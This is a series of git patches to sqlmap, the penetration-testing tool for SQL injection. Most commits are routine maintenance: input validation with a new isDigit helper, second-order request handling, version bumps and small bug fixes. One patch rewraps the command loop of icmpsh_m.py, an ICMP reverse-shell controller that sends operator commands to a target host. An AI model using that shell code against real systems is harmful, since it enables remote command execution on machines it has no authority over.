zdCg9L?|j7|`mFB#?68;C)mh~p8P&LxhfmE8PE}1y*Qv}i3KgKHT3+fT9r(OylzR0- zz-6klY4_;S@@n+J(;Hblg=tsK_6?+x$o#zV6A`4UW{+qTP!X1&gjhHY&mKjd%pMhe zi7VV`4x+n>|4mY4nD5+`yNOK5r<+Rz->D~K2=||DBE9s@1W*HV7S$sq*x|A+M&}68 z+v`Yph}I?&-s@kfJX%^tsAkIF=QW{k`L6}NNc7aiYNiUAr)4p$O|F#C`}?=df{;Pe^MMV4qkEgKc2)g@ zpJ4JQFIwhzIHfcZ%~yU@mH<%F0iO$#%a2`C`$qAI>?mx7Q>LE|2gK@$#Rs9_xnRb-zJY8NY5FixRE}86%lpz65FHw0DF*oDjsoaU}_>!QQ?qdl$!L zOS9(>nL{F4c|!c(njW-%&J1Mt=oQlcGE_J-KhS1w!Wy@o{_F16RtCnhfqJ>il{Asc z)7Cw38TIpFUT6E+9WFYX&Xuuy?Jt9ff+7PQ8rE$)Pk+Ao9TI%9?SB~bTTp#t$<-6( z%60VPZ4BnuBJb(X>4BSHPki9Nqy60d2B#~gF32{pWfxTO-`{XF-(#2ZTON6-!bmBd z8KCy=JmA4vV{QMFVKQls^~d>@0Cv_s{h-1*E1e)e99x}l&oE8fw;7t-p_@;Dm@jd)V9QsYYsD{ozr|iug{KFK?9--4L5?H?37FXZLR)gFb z^@|-B6rsdlU25LsDSRY2WfaROwEVr-d4&1;v$Ax$)b`8y*^guW*;iP^FN>wGKRG%( zFLrm4pvhiTcEQF8-86VP>!E_2!o|@C-yI>M1%=M@F)w19*CS7Vld%ck?fOqQwvzv{ zvHk1*?0qAc6F^wg!x8p~(^7;J1QD0A1_&D?0%3nJK-iqq62vLW3BqfQJU#s`wc_|F zMwd=bo|nVR-SXv7mD5rdBB3NM1yWH0iK{_C5U{d}3P@c|38Eq*v;vqou7NwvG>n;C;dNi{o8T%7FHM6sP^>ICEJ!!`w zGkR~prnH*ZkWbE(o?1zc6-ds17lQQHqfW#z6L&s8mNQCAyq0G0XqQw(Ub z7>1A5Rz6jQCSWoerhj9y+iBGd_d6wHzkMt$>)6+y?W>WjIG$k13}Wj%wNx=dn|q6Jw~{=9NlX%!jewm6mzMl=)K zlz>dEr*RWNs1afB!sy`YbFtzoZ`pB*uBurjpUI&kO$EA!-wE4BGe^D~HARS{oKP~! zL0vYeZFo}hwjBr79z~8mUnIcNpuEwPUevk^594>K*Hy=l+I0h%*p#xA+tdPXB&W8# z6I5m`#u4_9qDR$%ZAw&7609zoE}yZQcAFH&v92)}kIeBQpeURyur87%*DG*WYSRi} zp(vOvvM!J%8ZJcS2pi`Tt&O6F(}2QZ_K@m5HLb6-nNtDjMxI_I)g-#1B~+c!JUh9i z6HgWtlO7(tJQ?GH2aOIJxpaFJuq%$QxYYHJNRLDVC(FoDk?@lWmtA(q!S0P>3hC?Sxg1~|jHQMO7e}&>cP&z_OzvlcVGoqLGZx z*;bbT+j6#CK_-BQdMH z{fD|3_m^Tt_vIho)OSJH*#xK03vx&5IK#uJ!x{wAa6C-5Tu_R?8bD zWLuO+qGu_SKIo}HrUZ}c3Fg`|qGoX{EOuc*eX8dnt|}YMv_px#3O1sCkE) zeeo50e6Uq5Ps5uemkPh+`pa0)W!MXFqaeV!F^#hG&w6l-#DSna7jYAcxtAKT+( zLkyjS2h1D%D+oM63?-24OkjWXd4K#<@){l#!SQDl!TayO{F7{6-?-YAr^s3|!Agx3 z{=I?O{~9&_DRhm`AOG$VT&ySR{`9UKsT)bFp_;7zx(t=t9^ej!}6=;fr8AFxfUt zPaSRPE^SW++{WDGRj6zPfM|Tq3Uz~k+8fW(wCoj*?@Z&4-=-jom={m7<3qCRDPC~( zk8^GpRuNb=Eb$r##@7S9f@|ovfiST$rKN=2n*~)QcncnsR1qx?ZEI}3t|F5yV|%#2 zPYokl3~E_|lku@$N!xO~phWX@MWP3+$bij}>~QdO2s$V1Ogcom^c46od_JEZ6)tBd z3?~cB`J%W}l{nG3e%t@x1PUF$=|#97AwL2$+@rdkfVv}_Yt(2aH+@}8yI+)lQcg!g z;;rK~-ji+uCSu-hJ}(xEaM8uPl4Qe?*X)?Ah|{`YUL;l|(_Q{vMELLD*xmR{*xY@m zg{ZIFI}RCaxd4xkd%d>dgl@9~=tMG$T>Bm#P)m^71-MV*YR7Ij)g?prnfXB&uZmRH zvjW=1&RX&b0yl=1h(&^7a%d}g++o7z`EsjN?bX!L3c*%zd4uJZRlpoUDqx6!>j^u- zX%s`4Enx`xG52EHe*qkMs7n-g2@mm{k?&zK%I#|H^R4oa=|x<-RKl%D*=W2}yJ)Ux z5dR-RAA!?VI)X^zz?teWK z8FlKmD)vMqe^!Ngq^E!oK5Re&u`VOcJ4-MmOvTg#nxhTPwO zKkYw3oKEfLMm9(yj*KuHfsY>7+LYRo1dhvvwV$hJsWk|%-&F`S4t_*7<2ibwE!`aw zx;xR&`7iKd;cG9hBfQFq^UAPfslR9^ic%ch1IvY4C z5#r&9xJB9)ikh&>MV1yykFYE|;`ng;xZIQUFZxH;f@{R-#1FfyMMz4zDbh)fy4cdm zuG!Jt4Tsednq|0@t<`t6s9|KQ60Meq<$*tx!l?j{4HhE_Ic^;1caf3E1Mm0XF{%)c z1qC3pvm_AA=#SFlV$*e7ck#Y~L#>zY zY+Q#lbrX{43MCM=LPsVeY8d<)^D9ZL1>p{$tLvWL0K9IM9@Uf|*&CpkbS=m+?c`6a(JaNK!2bcUN+~2DP-RTTjtE-v<5(vhJcJ9A_l(<&mE7D5jb; zVciAfFlw9T7oo?9YD#Zd-{wJ}+VVSl3)OZyxS!`Tx~#{l?VPJ;sxv@3?l-TWgAhkU z@<$1Mbf%o*u2sh6YsF3klZxXc&&kCz8f7ceCL*@;yQ|vGGcOA1aUxq*NlkR9Nb!d6 z60f(f#B|9w6kxRHs35jmkhVt_EUXi#mt5CpTf@~|dAkYL!EH!wVfiZ%91A4tkxu5S z6Uzf@k*xDX$WVuRw`oHo0FjB9Ctb2*`3%-}@iQ9-J}-9)k5(0RO5ES7a?-{IAQbCK zQwQZQ>@-mY6OPXFxN(JKYKHPnnkm5lVkfy4bQlmpqk}ZE~uoHh-l3u5Mrk*P6*t)SCop3uY|n1a4UK_lVPe! zN%CHwag7Qa#Mkc)hlMmuW3-E|4Ul+E;f5HC5ttqi(CC@n3~tABqera^%R4=EVZo!j zL_9>IC2+Ch{CYHYS%^vEbZ2V}!ZQ*QivD&CLqPaPv5<3cC$+bD}ZG$?UdxKMYgBK<(kaM}K0oWy00@odF z%T!U0b?%udSLdO|N86!Uf*t$hImLXrdE@2cBiMr`sO$+z⪼HHk*^x#_7q`LlJoM zqm#EX)wBKo*I*C}ntJ9r&>;pX^ZB}=m9Sy5j3@^t68O2=iovo>bLAQzj1YjgiM^H5>kP9?u@)a$j! zm;>qV8EhS|cMikv72C0vmv2412ER3T+^W7N0`M&+eRp00DS;)BM{hM8&ttS5K7M8L zeybF>5M-Sh&FFTMJ;%FPJ^06BB{&Hg&&#%VwZFC-^v!4R4Vy1%zg;(o9~ocH#!C5c z7>&+6AjMd_7^J8d<5;@mi_=g7q2~thn=0^0|&$U-RH`1hal; ze6T}w7WnWvv*o9FU8m@;U?iNm13eSxOhEy*O8dzHX14hxV&3N=$SLRM1QJwTU z^5GxQz7mBGQOuE8iZ`%h;Uxuiuv_Z&`;#Bqi@5{diJvGe?J>UkkDoVv{p@}G9^r2t T03cE#Vj>a%Zf-Swb-=#?Rc1xx diff --git a/lib/core/settings.py b/lib/core/settings.py index d4f53286534..b648114a735 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.5" +VERSION = "1.3.10.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From aed137ad8066ba72254269c6d3557a8e1e07b23a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Oct 2019 14:20:18 +0200 Subject: [PATCH 606/800] Fixes #3948 --- lib/controller/controller.py | 3 ++- lib/core/common.py | 16 ++++++++++++++++ lib/core/patch.py | 2 ++ lib/core/settings.py | 2 +- lib/core/threads.py | 8 +++++++- lib/request/inject.py | 7 ++++--- lib/takeover/metasploit.py | 5 +++-- lib/takeover/udf.py | 5 ++--- lib/takeover/web.py | 3 ++- plugins/generic/takeover.py | 5 +++-- 10 files changed, 42 insertions(+), 14 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 263c2827646..e2df21bcf00 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -31,6 +31,7 @@ from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import intersect +from lib.core.common import isDigit from lib.core.common import isListLike from lib.core.common import parseTargetUrl from lib.core.common import popValue @@ -129,7 +130,7 @@ def _selectInjection(): message += "[q] Quit" choice = readInput(message, default='0').upper() - if choice.isdigit() and int(choice) < len(kb.injections) and int(choice) >= 0: + if isDigit(choice) and int(choice) < len(kb.injections) and int(choice) >= 0: index = int(choice) elif choice == 'Q': raise SqlmapUserQuitException diff --git a/lib/core/common.py b/lib/core/common.py index 45cdfea5f5a..e2ced30fda4 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1245,6 +1245,22 @@ def isZipFile(filename): return openFile(filename, "rb", encoding=None).read(len(ZIP_HEADER)) == ZIP_HEADER +def isDigit(value): + """ + Checks if provided (string) value consists of digits (Note: Python's isdigit() is problematic) + + >>> u'\xb2'.isdigit() + True + >>> isDigit(u'\xb2') + False + >>> isDigit('123456') + True + >>> isDigit('3b3') + False + """ + + return re.search(r"\A[0-9]+\Z", value or "") is not None + def checkFile(filename, raiseOnError=True): """ Checks for file existence and readability diff --git a/lib/core/patch.py b/lib/core/patch.py index e0f19baf2c4..60ac0ef1015 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -20,6 +20,7 @@ from lib.core.common import filterNone from lib.core.common import getSafeExString +from lib.core.common import isDigit from lib.core.common import isListLike from lib.core.common import readInput from lib.core.common import shellExec @@ -62,6 +63,7 @@ def resolveCrossReferences(): Place for cross-reference resolution """ + lib.core.threads.isDigit = isDigit lib.core.threads.readInput = readInput lib.core.common.getPageTemplate = getPageTemplate lib.core.convert.filterNone = filterNone diff --git a/lib/core/settings.py b/lib/core/settings.py index b648114a735..3160733494a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.6" +VERSION = "1.3.10.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index e37b3b3bd00..7b860d18505 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -73,6 +73,10 @@ def readInput(message, default=None, checkBatch=True, boolean=False): # It will be overwritten by original from lib.core.common pass +def isDigit(value): + # It will be overwritten by original from lib.core.common + pass + def getCurrentThreadData(): """ Returns current thread's local data @@ -125,10 +129,12 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio choice = readInput(message, default=str(numThreads)) if choice: skipThreadCheck = False + if choice.endswith('!'): choice = choice[:-1] skipThreadCheck = True - if choice.isdigit(): + + if isDigit(choice): if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck: errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS logger.critical(errMsg) diff --git a/lib/request/inject.py b/lib/request/inject.py index ffdeeb66a4d..a475eae9ed5 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -24,6 +24,7 @@ from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import initTechnique +from lib.core.common import isDigit from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable @@ -235,7 +236,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char elif choice == 'Q': raise SqlmapUserQuitException - elif choice.isdigit() and int(choice) > 0 and int(choice) <= count: + elif isDigit(choice) and int(choice) > 0 and int(choice) <= count: stopLimit = int(choice) infoMsg = "sqlmap is now going to retrieve the " @@ -246,7 +247,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char message = "how many? " stopLimit = readInput(message, default="10") - if not stopLimit.isdigit(): + if not isDigit(stopLimit): errMsg = "invalid choice" logger.error(errMsg) @@ -261,7 +262,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char return None - elif count and not count.isdigit(): + elif count and not isDigit(count): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 48fe9e3056a..18c7a5b849b 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -23,6 +23,7 @@ from lib.core.common import Backend from lib.core.common import getLocalIP from lib.core.common import getRemoteIP +from lib.core.common import isDigit from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import pollProcess @@ -154,7 +155,7 @@ def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1): choice = readInput(message, default="%d" % default) - if not choice or not choice.isdigit() or int(choice) > maxValue or int(choice) < 1: + if not choice or not isDigit(choice) or int(choice) > maxValue or int(choice) < 1: choice = default choice = int(choice) @@ -241,7 +242,7 @@ def _selectPayload(self): elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): break - elif not choice.isdigit(): + elif not isDigit(choice): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index c8fbf0faa12..2848d67ff0f 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -11,6 +11,7 @@ from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import dataToStdout +from lib.core.common import isDigit from lib.core.common import isStackingAvailable from lib.core.common import readInput from lib.core.common import unArrayizeValue @@ -339,11 +340,9 @@ def udfInjectCustom(self): if choice == 'Q': break - elif hasattr(choice, "isdigit") and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList): + elif isDigit(choice) and int(choice) > 0 and int(choice) <= len(udfList): choice = int(choice) break - elif isinstance(choice, int) and choice > 0 and choice <= len(udfList): - break else: warnMsg = "invalid value, only digits >= 1 and " warnMsg += "<= %d are allowed" % len(udfList) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 0a583b7f8a4..a459e2cc92c 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -22,6 +22,7 @@ from lib.core.common import getSQLSnippet from lib.core.common import getTechnique from lib.core.common import getTechniqueData +from lib.core.common import isDigit from lib.core.common import isTechniqueAvailable from lib.core.common import isWindowsDriveLetterPath from lib.core.common import normalizePath @@ -200,7 +201,7 @@ def webInit(self): while True: choice = readInput(message, default=str(default)) - if not choice.isdigit(): + if not isDigit(choice): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index d1953923f13..d3c32cbd41a 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -9,6 +9,7 @@ from lib.core.common import Backend from lib.core.common import getSafeExString +from lib.core.common import isDigit from lib.core.common import isStackingAvailable from lib.core.common import openFile from lib.core.common import readInput @@ -101,7 +102,7 @@ def osPwn(self): while True: tunnel = readInput(msg, default='1') - if tunnel.isdigit() and int(tunnel) in (1, 2): + if isDigit(tunnel) and int(tunnel) in (1, 2): tunnel = int(tunnel) break @@ -172,7 +173,7 @@ def osPwn(self): while True: choice = readInput(msg, default='1') - if choice.isdigit() and int(choice) in (1, 2): + if isDigit(choice) and int(choice) in (1, 2): choice = int(choice) break From 63c2d2050db465e3ac5eb319fdaba66d8fc9a946 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 9 Oct 2019 20:06:47 +0300 Subject: [PATCH 607/800] Fixes #3953 --- lib/core/common.py | 23 ++++++++++++----------- lib/core/settings.py | 2 +- 2 files changed, 13 insertions(+), 12 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index e2ced30fda4..640b04cc439 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4700,18 +4700,19 @@ def _(value): else: retVal = decodeHex(value) - if not kb.binaryField and not raw: - if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"): - try: - retVal = retVal.decode("utf-16-le") - except UnicodeDecodeError: - pass + if not raw: + if not kb.binaryField: + if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"): + try: + retVal = retVal.decode("utf-16-le") + except UnicodeDecodeError: + pass - elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2): - try: - retVal = retVal.decode("utf-16-be") - except UnicodeDecodeError: - pass + elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2): + try: + retVal = retVal.decode("utf-16-be") + except UnicodeDecodeError: + pass if not isinstance(retVal, six.text_type): retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING) diff --git a/lib/core/settings.py b/lib/core/settings.py index 3160733494a..f2c3b2b8d81 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.7" +VERSION = "1.3.10.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 9b42319d0e4f9ffc0bad787e0053d3b59c06f4aa Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 9 Oct 2019 20:26:12 +0300 Subject: [PATCH 608/800] Proper message (Issue #3958) --- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 8b38a68669e..1eb13292adf 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -314,7 +314,7 @@ def _setRequestFromFile(): if url is None: errMsg = "specified file '%s' " % requestFile - errMsg += "does not contain a valid HTTP request" + errMsg += "does not contain a usable HTTP request (with parameters)" raise SqlmapDataException(errMsg) if conf.secondReq: diff --git a/lib/core/settings.py b/lib/core/settings.py index f2c3b2b8d81..02af6f0a318 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.8" +VERSION = "1.3.10.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 627d99089f7172defecbdc8de04e15bf9d1063c5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 9 Oct 2019 20:41:33 +0300 Subject: [PATCH 609/800] Proper patch for #3955 --- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- lib/request/connect.py | 25 +++++++++++++------------ 3 files changed, 15 insertions(+), 14 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 1eb13292adf..51d36ded71d 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -467,7 +467,7 @@ def _findPageForms(): logger.info(infoMsg) if not any((conf.bulkFile, conf.googleDork, conf.sitemapUrl)): - page, _, _ = Request.queryPage(content=True) + page, _, _ = Request.queryPage(content=True, ignoreSecondOrder=True) if findPageForms(page, conf.url, True, True): found = True else: diff --git a/lib/core/settings.py b/lib/core/settings.py index 02af6f0a318..f3102ffdd74 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.9" +VERSION = "1.3.10.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 4f9593fa6ef..83a3c5e1afd 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -839,7 +839,7 @@ class _(dict): @staticmethod @stackedmethod - def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False): + def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False): """ This method calls a function to get the target URL page content and returns its page ratio (0 <= ratio <= 1) or a boolean value @@ -1339,17 +1339,18 @@ def _randomizeParameter(paramString, randomParameter): warnMsg += "behavior in custom WAF/IPS solutions" singleTimeWarnMessage(warnMsg) - if conf.secondUrl: - page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) - elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""): - def _(value): - if kb.customInjectionMark in (value or ""): - if payload is None: - value = value.replace(kb.customInjectionMark, "") - else: - value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value) - return value - page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) + if not ignoreSecondOrder: + if conf.secondUrl: + page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) + elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""): + def _(value): + if kb.customInjectionMark in (value or ""): + if payload is None: + value = value.replace(kb.customInjectionMark, "") + else: + value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value) + return value + page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) threadData.lastQueryDuration = calculateDeltaSeconds(start) From 17658619dc48f7b77e156473fc0f61784d6ebb6a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Oct 2019 15:40:56 +0300 Subject: [PATCH 610/800] Fixes #3960 --- lib/core/settings.py | 2 +- plugins/generic/users.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index f3102ffdd74..bd955a1e2c9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.10" +VERSION = "1.3.10.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 5599404aa43..5985d3b3b1a 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -600,7 +600,8 @@ def getPrivileges(self, query2=False): # In Firebird we get one letter for each privilege elif Backend.isDbms(DBMS.FIREBIRD): - privileges.add(FIREBIRD_PRIVS[privilege.strip()]) + if privilege.strip() in FIREBIRD_PRIVS: + privileges.add(FIREBIRD_PRIVS[privilege.strip()]) # In Informix we get one letter for the highest privilege elif Backend.isDbms(DBMS.INFORMIX): From 84073449915f8c8023ba8f6537e10cbb08dc396d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Oct 2019 16:02:43 +0300 Subject: [PATCH 611/800] Fixes #3961 --- lib/core/settings.py | 2 +- thirdparty/clientform/clientform.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index bd955a1e2c9..e393ee5eace 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.11" +VERSION = "1.3.10.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/clientform/clientform.py b/thirdparty/clientform/clientform.py index 351193cce26..48f897a9b97 100644 --- a/thirdparty/clientform/clientform.py +++ b/thirdparty/clientform/clientform.py @@ -237,7 +237,7 @@ def replace_entities(match, entities=entities, encoding=encoding): repl = entities.get(ent) if repl is not None: - if type(repl) != type(""): + if type(repl) != type("") and encoding is not None: try: repl = repl.encode(encoding) except UnicodeError: From 1fa81fedf310c2152d151b068bc12a0821f38fa1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Oct 2019 16:23:26 +0300 Subject: [PATCH 612/800] Patching like a boss (Issue #3962) --- extra/icmpsh/icmpsh_m.py | 111 ++++++++++++++++++++------------------- lib/core/settings.py | 2 +- 2 files changed, 58 insertions(+), 55 deletions(-) diff --git a/extra/icmpsh/icmpsh_m.py b/extra/icmpsh/icmpsh_m.py index df5765b9f9b..17370fdc001 100644 --- a/extra/icmpsh/icmpsh_m.py +++ b/extra/icmpsh/icmpsh_m.py @@ -76,60 +76,63 @@ def main(src, dst): decoder = ImpactDecoder.IPDecoder() while True: - cmd = '' - - # Wait for incoming replies - if sock in select.select([sock], [], [])[0]: - buff = sock.recv(4096) - - if 0 == len(buff): - # Socket remotely closed - sock.close() - sys.exit(0) - - # Packet received; decode and display it - ippacket = decoder.decode(buff) - icmppacket = ippacket.child() - - # If the packet matches, report it to the user - if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): - # Get identifier and sequence number - ident = icmppacket.get_icmp_id() - seq_id = icmppacket.get_icmp_seq() - data = icmppacket.get_data_as_string() - - if len(data) > 0: - sys.stdout.write(data) - - # Parse command from standard input - try: - cmd = sys.stdin.readline() - except: - pass - - if cmd == 'exit\n': - return - - # Set sequence number and identifier - icmp.set_icmp_id(ident) - icmp.set_icmp_seq(seq_id) - - # Include the command as data inside the ICMP packet - icmp.contains(ImpactPacket.Data(cmd)) - - # Calculate its checksum - icmp.set_icmp_cksum(0) - icmp.auto_checksum = 1 - - # Have the IP packet contain the ICMP packet (along with its payload) - ip.contains(icmp) - - try: - # Send it to the target host - sock.sendto(ip.get_packet(), (dst, 0)) - except socket.error as ex: - sys.stderr.write("'%s'\n" % ex) - sys.stderr.flush() + try: + cmd = '' + + # Wait for incoming replies + if sock in select.select([sock], [], [])[0]: + buff = sock.recv(4096) + + if 0 == len(buff): + # Socket remotely closed + sock.close() + sys.exit(0) + + # Packet received; decode and display it + ippacket = decoder.decode(buff) + icmppacket = ippacket.child() + + # If the packet matches, report it to the user + if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): + # Get identifier and sequence number + ident = icmppacket.get_icmp_id() + seq_id = icmppacket.get_icmp_seq() + data = icmppacket.get_data_as_string() + + if len(data) > 0: + sys.stdout.write(data) + + # Parse command from standard input + try: + cmd = sys.stdin.readline() + except: + pass + + if cmd == 'exit\n': + return + + # Set sequence number and identifier + icmp.set_icmp_id(ident) + icmp.set_icmp_seq(seq_id) + + # Include the command as data inside the ICMP packet + icmp.contains(ImpactPacket.Data(cmd)) + + # Calculate its checksum + icmp.set_icmp_cksum(0) + icmp.auto_checksum = 1 + + # Have the IP packet contain the ICMP packet (along with its payload) + ip.contains(icmp) + + try: + # Send it to the target host + sock.sendto(ip.get_packet(), (dst, 0)) + except socket.error as ex: + sys.stderr.write("'%s'\n" % ex) + sys.stderr.flush() + except: + break if __name__ == '__main__': if len(sys.argv) < 3: diff --git a/lib/core/settings.py b/lib/core/settings.py index e393ee5eace..56fcd0a8816 100644 --- a/lib/core/settings.py +++ 